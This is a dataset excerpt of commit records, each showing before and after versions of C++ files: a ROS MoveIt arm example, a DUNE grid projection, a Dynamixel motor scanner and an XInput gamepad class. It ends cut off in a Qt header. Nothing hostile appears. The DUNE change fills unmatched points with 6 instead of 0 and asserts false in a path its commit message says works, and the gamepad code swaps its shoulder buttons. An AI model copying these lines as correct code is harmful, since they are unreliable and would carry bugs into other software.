HOWEVER CAUSED AND\n   ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n   (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <ros\/ros.h>\n#include <moveit\/move_group_interface\/move_group.h>\n\n\nint main(int argc, char **argv)\n{\n\n\tros::init(argc, argv, \"dumbo_move_group_example\");\n\n\tros::AsyncSpinner spinner(1);\n\tspinner.start();\n\n\tmove_group_interface::MoveGroup l_group(\"left_arm\");\n\tmove_group_interface::MoveGroup r_group(\"right_arm\");\n\n\n\t\/\/ set position and orientation of left_arm_7_link with respect to arm_base_link\n\tgeometry_msgs::Pose p;\n\n\tp.position.x = -0.486;\n\tp.position.y = 0.367;\n\tp.position.z = 0.0;\n\n\tdouble roll = 1.571;\n\tdouble pitch = 1.571;\n\tdouble yaw = 3.13;\n\ttf::Quaternion q;\n\tq.setRPY(roll, pitch, yaw);\n\ttf::quaternionTFToMsg(q, p.orientation);\n\n\n\tl_group.setPoseTarget(p);\n\tl_group.setGoalPositionTolerance(0.1);\n\tl_group.setGoalOrientationTolerance(0.1);\n\n\tl_group.move();\n\n\tros::Duration(3.0).sleep();\n\n\tl_group.setNamedTarget(\"l_default\");\n\tr_group.setNamedTarget(\"r_default\");\n\n\tl_group.move();\n\n\tr_group.move();\n\n\tros::shutdown();\n\treturn 0;\n\n\n}\n<commit_msg>fixed move group example, tested and working<commit_after>\/*\n *  dumbo_moveit_example.cpp\n *\n *  Created on: Nov 19, 2013\n *  Authors:   Francisco Viña\n *            fevb <at> kth.se\n *\/\n\n\/* Copyright (c) 2013, Francisco Viña, CVAP, KTH\n   All rights reserved.\n\n   Redistribution and use in source and binary forms, with or without\n   modification, are permitted provided that the following conditions are met:\n      * Redistributions of source code must retain the above copyright\n        notice, this list of conditions and the following disclaimer.\n      * Redistributions in binary form must reproduce the above copyright\n        notice, this list of conditions and the following disclaimer in the\n        documentation and\/or other materials provided with the distribution.\n      * Neither the name of KTH nor the\n        names of its contributors may be used to endorse or promote products\n        derived from this software without specific prior written permission.\n\n   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n   ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n   WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n   DISCLAIMED. IN NO EVENT SHALL KTH BE LIABLE FOR ANY\n   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n   LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n   ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n   (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <ros\/ros.h>\n#include <moveit\/move_group_interface\/move_group.h>\n\n\nint main(int argc, char **argv)\n{\n\n\tros::init(argc, argv, \"dumbo_move_group_example\");\n\n\tros::AsyncSpinner spinner(1);\n\tspinner.start();\n\n\tmove_group_interface::MoveGroup l_group(\"left_arm\");\n\tmove_group_interface::MoveGroup r_group(\"right_arm\");\n\n\n\t\/\/ set position and orientation of left_arm_7_link with respect to arm_base_link\n\tgeometry_msgs::Pose p;\n\n\tp.position.x = -0.486;\n\tp.position.y = 0.367;\n\tp.position.z = 0.0;\n\n\tdouble roll = 1.571;\n\tdouble pitch = 1.571;\n\tdouble yaw = 3.13;\n\ttf::Quaternion q;\n\tq.setRPY(roll, pitch, yaw);\n\ttf::quaternionTFToMsg(q, p.orientation);\n\n\tgeometry_msgs::PoseStamped p_stamped;\n\tp_stamped.pose = p;\n\tp_stamped.header.frame_id = \"arm_base_link\";\n\tp_stamped.header.stamp = ros::Time::now();\n\n\n\tl_group.setPoseTarget(p_stamped);\n\n\tl_group.move();\n\n\tros::Duration(3.0).sleep();\n\n\tl_group.setNamedTarget(\"l_default\");\n\tr_group.setNamedTarget(\"r_default\");\n\n\tl_group.move();\n\n\tr_group.move();\n\n\tros::shutdown();\n\treturn 0;\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n#define DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n\n#include <dune\/common\/fvector.hh>\n#include <dune\/grid\/common\/backuprestore.hh>\n#include <dune\/grid\/common\/grid.hh>\n#include <dune\/grid\/common\/entity.hh>\n#include <dune\/stuff\/common\/ranges.hh>\n#include <dune\/stuff\/aliases.hh>\n#include <dune\/stuff\/fem\/namespace.hh>\n\n#ifdef HAVE_DUNE_FEM\n  #include <dune\/fem\/function\/common\/discretefunction.hh>\n  #include <dune\/fem\/quadrature\/cachingquadrature.hh>\n#endif\n\n#include <dune\/grid\/io\/file\/vtk\/function.hh>\n\n#include <dune\/stuff\/grid\/search.hh>\n\nnamespace Dune {\nnamespace Stuff {\n\n\n#if 1 \/\/def 1 \/\/ HAVE_DUNE_FEM\ntemplate< template< class > class SearchStrategy = Grid::EntityInlevelSearch >\nclass HeterogenousProjection\n{\npublic:\n  \/** If your SearchStrategy only takes a leafview of the source grid, you may use this signature.\n   * Otherwise you'll have to provide an instance of the SearchStrategy to the method below\n   **\/\n  template < class SourceDFImp, class TargetDFImp >\n  static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n                      Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target)\n  {\n    SearchStrategy<typename SourceDFImp::GridType::LeafGridView> search(source.gridPart().grid().leafView());\n    project(source, target, search);\n  }\n\n  \/\/! signature for non-default SearchStrategy constructions\n  template < class SourceDFImp, class TargetDFImp, class SearchStrategyImp >\n  static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n                      Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target,\n                      SearchStrategyImp& search)\n  {\n    typedef typename TargetDFImp::DiscreteFunctionSpaceType TargetDiscreteFunctionSpaceType;\n    typedef typename TargetDFImp::DofType TargetDofType;\n    static const int target_dimRange = TargetDiscreteFunctionSpaceType::dimRange;\n\n    const auto& space =  target.space();\n    const auto infinity = DSC::numeric_limits< TargetDofType >::infinity();\n\n    \/\/ set all DoFs to infinity\n    const auto dend = target.dend();\n    for( auto dit = target.dbegin(); dit != dend; ++dit )\n      *dit = infinity;\n\n    const auto endit = space.end();\n    for(auto it = space.begin(); it != endit ; ++it)\n    {\n      const auto& target_entity = *it;\n      const auto& target_geometry = target_entity.geometry();\n      auto target_local_function = target.localFunction(target_entity);\n      const auto& target_lagrangepoint_set = space.lagrangePointSet(target_entity);\n      const auto quadNop = target_lagrangepoint_set.nop();\n\n      typename TargetDiscreteFunctionSpaceType::RangeType source_value;\n\n      std::vector<typename TargetDiscreteFunctionSpaceType::DomainType> global_quads(quadNop);\n      for(size_t qP = 0; qP < quadNop ; ++qP) {\n        global_quads[qP] = target_geometry.global(target_lagrangepoint_set.point(qP));\n      }\n      const auto evaluation_entity_ptrs = search(global_quads);\n      assert(evaluation_entity_ptrs.size() >= global_quads.size());\n\n      int k = 0;\n      for(size_t qP = 0; qP < quadNop ; ++qP)\n      {\n        if(std::isinf(target_local_function[ k ]))\n        {\n          const auto& global_point = global_quads[qP];\n          \/\/ evaluate source function\n          const auto& source_entity_unique_ptr = evaluation_entity_ptrs[qP];\n          if (source_entity_unique_ptr) {\n            const auto& source_entity_ptr = (*source_entity_unique_ptr);\n            const auto& source_geometry = source_entity_ptr->geometry();\n            const auto& source_local_point = source_geometry.local(global_point);\n            const auto& source_local_function = source.localFunction(*source_entity_ptr);\n            source_local_function.evaluate(source_local_point, source_value);\n            for(int i = 0; i < target_dimRange; ++i, ++k)\n              target_local_function[k] = source_value[i];\n          }\n          else {\n            for(int i = 0; i < target_dimRange; ++i, ++k)\n              target_local_function[k] = TargetDofType(0);\n          }\n        }\n        else\n          k += target_dimRange;\n      }\n    }\n  } \/\/ ... project(...)\n}; \/\/ class HeterogenousProjection\n#endif \/\/ HAVE_DUNE_FEM\n\n\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n<commit_msg>[df] made het. projection to work for FiniteVolume spaces too<commit_after>#ifndef DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n#define DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n\n#include <dune\/common\/fvector.hh>\n#include <dune\/grid\/common\/backuprestore.hh>\n#include <dune\/grid\/common\/grid.hh>\n#include <dune\/grid\/common\/entity.hh>\n#include <dune\/stuff\/common\/ranges.hh>\n#include <dune\/stuff\/aliases.hh>\n#include <dune\/stuff\/fem\/namespace.hh>\n\n#ifdef HAVE_DUNE_FEM\n  #include <dune\/fem\/function\/common\/discretefunction.hh>\n  #include <dune\/fem\/quadrature\/cachingquadrature.hh>\n  #include <dune\/fem\/space\/finitevolume.hh>\n  #include <dune\/fem\/space\/lagrange.hh>\n#endif\n\n#include <dune\/grid\/io\/file\/vtk\/function.hh>\n\n#include <dune\/stuff\/grid\/search.hh>\n\nnamespace Dune {\nnamespace Stuff {\n\n\n#if HAVE_DUNE_FEM\n\ntemplate< class F, class G, int p, template< class > class S >\nstd::vector<typename Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>::DomainType>\nglobal_evaluation_points(const Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>& space,\n         const typename Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>::EntityType& target_entity)\n{\n  const auto& target_lagrangepoint_set = space.lagrangePointSet(target_entity);\n  const auto& target_geometry = target_entity.geometry();\n  const auto quadNop = target_lagrangepoint_set.nop();\n  std::vector<typename Dune::Fem::LagrangeDiscreteFunctionSpace<F,G,p,S>::DomainType> points(quadNop);\n  for(size_t qP = 0; qP < quadNop ; ++qP) {\n    points[qP] = target_geometry.global(target_lagrangepoint_set.point(qP));\n  }\n  return points;\n}\n\ntemplate< class F, class G, int p, template< class > class S >\nstd::vector<typename Dune::Fem::FiniteVolumeSpace<F,G,p,S>::DomainType>\nglobal_evaluation_points(const Dune::Fem::FiniteVolumeSpace<F,G,p,S>& \/*space*\/,\n         const typename Dune::Fem::FiniteVolumeSpace<F,G,p,S>::EntityType& target_entity)\n{\n  assert(false);\n  typedef std::vector<typename Dune::Fem::FiniteVolumeSpace<F,G,p,S>::DomainType> Ret;\n  return Ret(1, target_entity.geometry().center());\n}\n\ntemplate< template< class > class SearchStrategy = Grid::EntityInlevelSearch >\nclass HeterogenousProjection\n{\npublic:\n  \/** If your SearchStrategy only takes a leafview of the source grid, you may use this signature.\n   * Otherwise you'll have to provide an instance of the SearchStrategy to the method below\n   **\/\n  template < class SourceDFImp, class TargetDFImp >\n  static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n                      Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target)\n  {\n    SearchStrategy<typename SourceDFImp::GridType::LeafGridView> search(source.gridPart().grid().leafView());\n    project(source, target, search);\n  }\n\n  \/\/! signature for non-default SearchStrategy constructions\n  template < class SourceDFImp, class TargetDFImp, class SearchStrategyImp >\n  static void project(const Dune::Fem::DiscreteFunctionInterface<SourceDFImp>& source,\n                      Dune::Fem::DiscreteFunctionInterface<TargetDFImp>& target,\n                      SearchStrategyImp& search)\n  {\n    typedef typename TargetDFImp::DiscreteFunctionSpaceType TargetDiscreteFunctionSpaceType;\n    typedef typename TargetDFImp::DofType TargetDofType;\n    static const int target_dimRange = TargetDiscreteFunctionSpaceType::dimRange;\n\n    const auto& space =  target.space();\n    const auto infinity = DSC::numeric_limits< TargetDofType >::infinity();\n\n    \/\/ set all DoFs to infinity\n    const auto dend = target.dend();\n    for( auto dit = target.dbegin(); dit != dend; ++dit )\n      *dit = infinity;\n\n    const auto endit = space.end();\n    for(auto it = space.begin(); it != endit ; ++it)\n    {\n      const auto& target_entity = *it;\n      auto target_local_function = target.localFunction(target_entity);\n      const auto global_quads = global_evaluation_points(space, target_entity);\n      const auto evaluation_entity_ptrs = search(global_quads);\n      assert(evaluation_entity_ptrs.size() >= global_quads.size());\n\n      int k = 0;\n      typename TargetDiscreteFunctionSpaceType::RangeType source_value;\n      for(size_t qP = 0; qP < global_quads.size() ; ++qP)\n      {\n        if(std::isinf(target_local_function[ k ]))\n        {\n          const auto& source_entity_unique_ptr = evaluation_entity_ptrs[qP];\n          if (source_entity_unique_ptr) {\n            const auto& source_entity_ptr = (*source_entity_unique_ptr);\n            const auto& source_geometry = source_entity_ptr->geometry();\n            const auto& global_point = global_quads[qP];\n            const auto& source_local_point = source_geometry.local(global_point);\n            const auto& source_local_function = source.localFunction(*source_entity_ptr);\n            source_local_function.evaluate(source_local_point, source_value);\n            for(int i = 0; i < target_dimRange; ++i, ++k)\n              target_local_function[k] = source_value[i];\n          }\n          else {\n            for(int i = 0; i < target_dimRange; ++i, ++k)\n              target_local_function[k] = TargetDofType(6);\n          }\n        }\n        else\n          k += target_dimRange;\n      }\n    }\n  } \/\/ ... project(...)\n}; \/\/ class HeterogenousProjection\n#endif \/\/ HAVE_DUNE_FEM\n\n\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\r\n* Copyright 2018 ROBOTIS CO., LTD.\r\n*\r\n* Licensed under the Apache License, Version 2.0 (the \"License\");\r\n* you may not use this file except in compliance with the License.\r\n* You may obtain a copy of the License at\r\n*\r\n*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n*\r\n* Unless required by applicable law or agreed to in writing, software\r\n* distributed under the License is distributed on an \"AS IS\" BASIS,\r\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n* See the License for the specific language governing permissions and\r\n* limitations under the License.\r\n*******************************************************************************\/\r\n\r\n\/* Authors: Taehun Lim (Darby) *\/\r\n\r\n#include <ros\/ros.h>\r\n#include <dynamixel_workbench_toolbox\/dynamixel_workbench.h>\r\n\r\n#define BAUDRATE_NUM 7\r\n\r\nint main(int argc, char *argv[]) \r\n{\r\n  std::string port_name = \"\/dev\/ttyUSB0\";\r\n\r\n  if (argc < 2)\r\n  {\r\n    printf(\"Please set '-port_name'arguments for connected Dynamixels\");\r\n    return 0;\r\n  }\r\n  else\r\n  {\r\n    port_name = argv[1];\r\n  }\r\n\r\n  DynamixelWorkbench dxl_wb;\r\n\r\n  const char *log;\r\n  bool result = false;\r\n\r\n  uint8_t scanned_id[100];\r\n  uint8_t dxl_cnt = 0;\r\n\r\n  uint32_t baudrate[BAUDRATE_NUM] = {9600, 57600, 115200, 1000000, 2000000, 3000000, 4000000};\r\n  uint8_t range = 253;\r\n\r\n  uint8_t index = 0;\r\n\r\n  while (index < BAUDRATE_NUM)\r\n  {\r\n    result = dxl_wb.init(port_name.c_str(), baudrate[index], &log);\r\n    if (result == false)\r\n    {\r\n      ROS_WARN(\"%s\", log);\r\n      ROS_WARN(\"Failed to init\");\r\n    }\r\n    else\r\n    {\r\n      ROS_INFO(\"Succeed to init(%d)\", baudrate[index]);\r\n    }\r\n\r\n    dxl_cnt = 0;\r\n    for (uint8_t num = 0; num < 100; num++) scanned_id[num] = 0;\r\n\r\n    ROS_INFO(\"Wait for scanning...\");\r\n    result = dxl_wb.scan(scanned_id, &dxl_cnt, range, &log);\r\n    if (result == false)\r\n    {\r\n      ROS_WARN(\"%s\", log);\r\n      ROS_WARN(\"Failed to scan\");\r\n    }\r\n    else\r\n    {\r\n      ROS_INFO(\"Find %d Dynamixels\", dxl_cnt);\r\n\r\n      for (int cnt = 0; cnt < dxl_cnt; cnt++)\r\n        ROS_INFO(\"id : %d, model name : %s\", scanned_id[cnt], dxl_wb.getModelName(scanned_id[cnt]));\r\n    }\r\n\r\n    index++;\r\n  }\r\n\r\n  return 0;\r\n}\r\n<commit_msg>update<commit_after>\/*******************************************************************************\r\n* Copyright 2018 ROBOTIS CO., LTD.\r\n*\r\n* Licensed under the Apache License, Version 2.0 (the \"License\");\r\n* you may not use this file except in compliance with the License.\r\n* You may obtain a copy of the License at\r\n*\r\n*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n*\r\n* Unless required by applicable law or agreed to in writing, software\r\n* distributed under the License is distributed on an \"AS IS\" BASIS,\r\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n* See the License for the specific language governing permissions and\r\n* limitations under the License.\r\n*******************************************************************************\/\r\n\r\n\/* Authors: Taehun Lim (Darby) *\/\r\n\r\n#include <ros\/ros.h>\r\n#include <dynamixel_workbench_toolbox\/dynamixel_workbench.h>\r\n\r\n#define BAUDRATE_NUM 7\r\n\r\nint main(int argc, char *argv[]) \r\n{\r\n  std::string port_name = \"\/dev\/ttyUSB0\";\r\n\r\n  if (argc < 2)\r\n  {\r\n    printf(\"Please set '-port_name'arguments for connected Dynamixels\\n\");\r\n    return 0;\r\n  }\r\n  else\r\n  {\r\n    port_name = argv[1];\r\n  }\r\n\r\n  DynamixelWorkbench dxl_wb;\r\n\r\n  const char *log;\r\n  bool result = false;\r\n\r\n  uint8_t scanned_id[100];\r\n  uint8_t dxl_cnt = 0;\r\n\r\n  uint32_t baudrate[BAUDRATE_NUM] = {9600, 57600, 115200, 1000000, 2000000, 3000000, 4000000};\r\n  uint8_t range = 253;\r\n\r\n  uint8_t index = 0;\r\n\r\n  while (index < BAUDRATE_NUM)\r\n  {\r\n    result = dxl_wb.init(port_name.c_str(), baudrate[index], &log);\r\n    if (result == false)\r\n    {\r\n      ROS_WARN(\"%s\", log);\r\n      ROS_WARN(\"Failed to init\");\r\n    }\r\n    else\r\n    {\r\n      ROS_INFO(\"Succeed to init(%d)\", baudrate[index]);\r\n    }\r\n\r\n    dxl_cnt = 0;\r\n    for (uint8_t num = 0; num < 100; num++) scanned_id[num] = 0;\r\n\r\n    ROS_INFO(\"Wait for scanning...\");\r\n    result = dxl_wb.scan(scanned_id, &dxl_cnt, range, &log);\r\n    if (result == false)\r\n    {\r\n      ROS_WARN(\"%s\", log);\r\n      ROS_WARN(\"Failed to scan\");\r\n    }\r\n    else\r\n    {\r\n      ROS_INFO(\"Find %d Dynamixels\", dxl_cnt);\r\n\r\n      for (int cnt = 0; cnt < dxl_cnt; cnt++)\r\n        ROS_INFO(\"id : %d, model name : %s\", scanned_id[cnt], dxl_wb.getModelName(scanned_id[cnt]));\r\n    }\r\n\r\n    index++;\r\n  }\r\n\r\n  return 0;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\r\n#include \"CGamePad.h\"\r\n\r\n#include <windows.h>\r\n#include <xinput.h>\r\n\r\n\r\nstatic HMODULE hXInputModule = 0;\r\ntypedef DWORD (WINAPI *PFn_XInputGetState)(DWORD dwUserIndex, XINPUT_STATE* pState);\r\nstatic PFn_XInputGetState pXInputGetState = 0;\r\n\r\nvec2f const & CGamePad::GetLeftStick() const\r\n{\r\n\treturn LeftStick;\r\n}\r\n\r\nvec2f const & CGamePad::GetRightStick() const\r\n{\r\n\treturn RightStick;\r\n}\r\n\r\nf32 CGamePad::GetLeftTrigger() const\r\n{\r\n\treturn LeftTrigger;\r\n}\r\n\r\nf32 CGamePad::GetRightTrigger() const\r\n{\r\n\treturn RightTrigger;\r\n}\r\n\r\nbool CGamePad::IsButtonPressed(EGamePadButton const Button)\r\n{\r\n\treturn ButtonPressed[(int) Button];\r\n}\r\n\r\nstatic inline f32 GamepadStick(s16 in)\r\n{\r\n\tf32 v;\r\n\tif (abs(in) < 9000)\r\n\t\treturn 0;\r\n\telse if (in > 9000)\r\n\t\tv = in - 9000.f;\r\n\telse\r\n\t\tv = in + 9000.f;\r\n\treturn v \/ (32767 - 9000);\r\n}\r\n\r\nstatic inline f32 GamepadTrigger(u8 in)\r\n{\r\n\tif (in < 30)\r\n\t\treturn 0;\r\n\telse\r\n\t\treturn (in - 30) \/ 225.f;\r\n}\r\n\r\nvoid CGamePad::UpdateState()\r\n{\r\n\tif (pXInputGetState)\r\n\t{\r\n\t\tXINPUT_STATE XInputState;\r\n\r\n\t\tif (pXInputGetState(0, & XInputState))\r\n\t\t\treturn;\r\n\r\n\t\tLeftTrigger = GamepadTrigger(XInputState.Gamepad.bLeftTrigger);\r\n\t\tRightTrigger = GamepadTrigger(XInputState.Gamepad.bRightTrigger);\r\n\t\tLeftStick.X = GamepadStick(XInputState.Gamepad.sThumbLX);\r\n\t\tLeftStick.Y = GamepadStick(XInputState.Gamepad.sThumbLY);\r\n\t\tRightStick.X = GamepadStick(XInputState.Gamepad.sThumbRX);\r\n\t\tRightStick.Y = GamepadStick(XInputState.Gamepad.sThumbRY);\r\n\t\t\r\n\t\tButtonPressed[(int) EGamePadButton::A] = (XInputState.Gamepad.wButtons & VK_PAD_A) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::B] = (XInputState.Gamepad.wButtons & VK_PAD_B) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::X] = (XInputState.Gamepad.wButtons & VK_PAD_X) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::Y] = (XInputState.Gamepad.wButtons & VK_PAD_Y) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::LeftShoulder] = (XInputState.Gamepad.wButtons & VK_PAD_RSHOULDER) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::RightShoulder] = (XInputState.Gamepad.wButtons & VK_PAD_LSHOULDER) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::DPadUp] = (XInputState.Gamepad.wButtons & VK_PAD_DPAD_UP) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::DPadDown] = (XInputState.Gamepad.wButtons & VK_PAD_DPAD_DOWN) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::DPadLeft] = (XInputState.Gamepad.wButtons & VK_PAD_DPAD_LEFT) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::DPadRight] = (XInputState.Gamepad.wButtons & VK_PAD_DPAD_RIGHT) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::Start] = (XInputState.Gamepad.wButtons & VK_PAD_START) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::Back] = (XInputState.Gamepad.wButtons & VK_PAD_BACK) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::LeftThumb] = (XInputState.Gamepad.wButtons & VK_PAD_LTHUMB_PRESS) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::RightThumb] = (XInputState.Gamepad.wButtons & VK_PAD_RTHUMB_PRESS) != 0;\r\n\t}\r\n}\r\n\r\nCGamePad::CGamePad()\r\n{\r\n\tif (! hXInputModule)\r\n\t\thXInputModule = ::LoadLibraryA(\"Xinput9_1_0.dll\");\r\n\r\n\tif (! pXInputGetState && hXInputModule)\r\n\t\tpXInputGetState = (PFn_XInputGetState) ::GetProcAddress(hXInputModule, \"XInputGetState\");\r\n}\r\n<commit_msg>+ Fixed game pad initialization<commit_after>\r\n#include \"CGamePad.h\"\r\n\r\n#include <windows.h>\r\n#include <xinput.h>\r\n\r\n\r\nstatic HMODULE hXInputModule = 0;\r\ntypedef DWORD (WINAPI *PFn_XInputGetState)(DWORD dwUserIndex, XINPUT_STATE* pState);\r\nstatic PFn_XInputGetState pXInputGetState = 0;\r\n\r\nvec2f const & CGamePad::GetLeftStick() const\r\n{\r\n\treturn LeftStick;\r\n}\r\n\r\nvec2f const & CGamePad::GetRightStick() const\r\n{\r\n\treturn RightStick;\r\n}\r\n\r\nf32 CGamePad::GetLeftTrigger() const\r\n{\r\n\treturn LeftTrigger;\r\n}\r\n\r\nf32 CGamePad::GetRightTrigger() const\r\n{\r\n\treturn RightTrigger;\r\n}\r\n\r\nbool CGamePad::IsButtonPressed(EGamePadButton const Button)\r\n{\r\n\treturn ButtonPressed[(int) Button];\r\n}\r\n\r\nstatic inline f32 GamepadStick(s16 in)\r\n{\r\n\tf32 v;\r\n\tif (abs(in) < 9000)\r\n\t\treturn 0;\r\n\telse if (in > 9000)\r\n\t\tv = in - 9000.f;\r\n\telse\r\n\t\tv = in + 9000.f;\r\n\treturn v \/ (32767 - 9000);\r\n}\r\n\r\nstatic inline f32 GamepadTrigger(u8 in)\r\n{\r\n\tif (in < 30)\r\n\t\treturn 0;\r\n\telse\r\n\t\treturn (in - 30) \/ 225.f;\r\n}\r\n\r\nvoid CGamePad::UpdateState()\r\n{\r\n\tif (pXInputGetState)\r\n\t{\r\n\t\tXINPUT_STATE XInputState;\r\n\r\n\t\tif (pXInputGetState(0, & XInputState))\r\n\t\t\treturn;\r\n\r\n\t\tLeftTrigger = GamepadTrigger(XInputState.Gamepad.bLeftTrigger);\r\n\t\tRightTrigger = GamepadTrigger(XInputState.Gamepad.bRightTrigger);\r\n\t\tLeftStick.X = GamepadStick(XInputState.Gamepad.sThumbLX);\r\n\t\tLeftStick.Y = GamepadStick(XInputState.Gamepad.sThumbLY);\r\n\t\tRightStick.X = GamepadStick(XInputState.Gamepad.sThumbRX);\r\n\t\tRightStick.Y = GamepadStick(XInputState.Gamepad.sThumbRY);\r\n\t\t\r\n\t\tButtonPressed[(int) EGamePadButton::A] = (XInputState.Gamepad.wButtons & VK_PAD_A) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::B] = (XInputState.Gamepad.wButtons & VK_PAD_B) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::X] = (XInputState.Gamepad.wButtons & VK_PAD_X) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::Y] = (XInputState.Gamepad.wButtons & VK_PAD_Y) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::LeftShoulder] = (XInputState.Gamepad.wButtons & VK_PAD_RSHOULDER) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::RightShoulder] = (XInputState.Gamepad.wButtons & VK_PAD_LSHOULDER) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::DPadUp] = (XInputState.Gamepad.wButtons & VK_PAD_DPAD_UP) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::DPadDown] = (XInputState.Gamepad.wButtons & VK_PAD_DPAD_DOWN) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::DPadLeft] = (XInputState.Gamepad.wButtons & VK_PAD_DPAD_LEFT) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::DPadRight] = (XInputState.Gamepad.wButtons & VK_PAD_DPAD_RIGHT) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::Start] = (XInputState.Gamepad.wButtons & VK_PAD_START) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::Back] = (XInputState.Gamepad.wButtons & VK_PAD_BACK) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::LeftThumb] = (XInputState.Gamepad.wButtons & VK_PAD_LTHUMB_PRESS) != 0;\r\n\t\tButtonPressed[(int) EGamePadButton::RightThumb] = (XInputState.Gamepad.wButtons & VK_PAD_RTHUMB_PRESS) != 0;\r\n\t}\r\n}\r\n\r\nCGamePad::CGamePad()\r\n\t: LeftTrigger(0), RightTrigger(0)\r\n{\r\n\tif (! hXInputModule)\r\n\t\thXInputModule = ::LoadLibraryA(\"Xinput9_1_0.dll\");\r\n\r\n\tif (! pXInputGetState && hXInputModule)\r\n\t\tpXInputGetState = (PFn_XInputGetState) ::GetProcAddress(hXInputModule, \"XInputGetState\");\r\n\t\r\n\tfor (int i = 0; i < (int) EGamePadButton::Count; ++ i)\r\n\t\tButtonPressed[i] = false;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the test suite of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** Commercial Usage\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU General Public License version 3.0 requirements will be\n** met: http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n#include 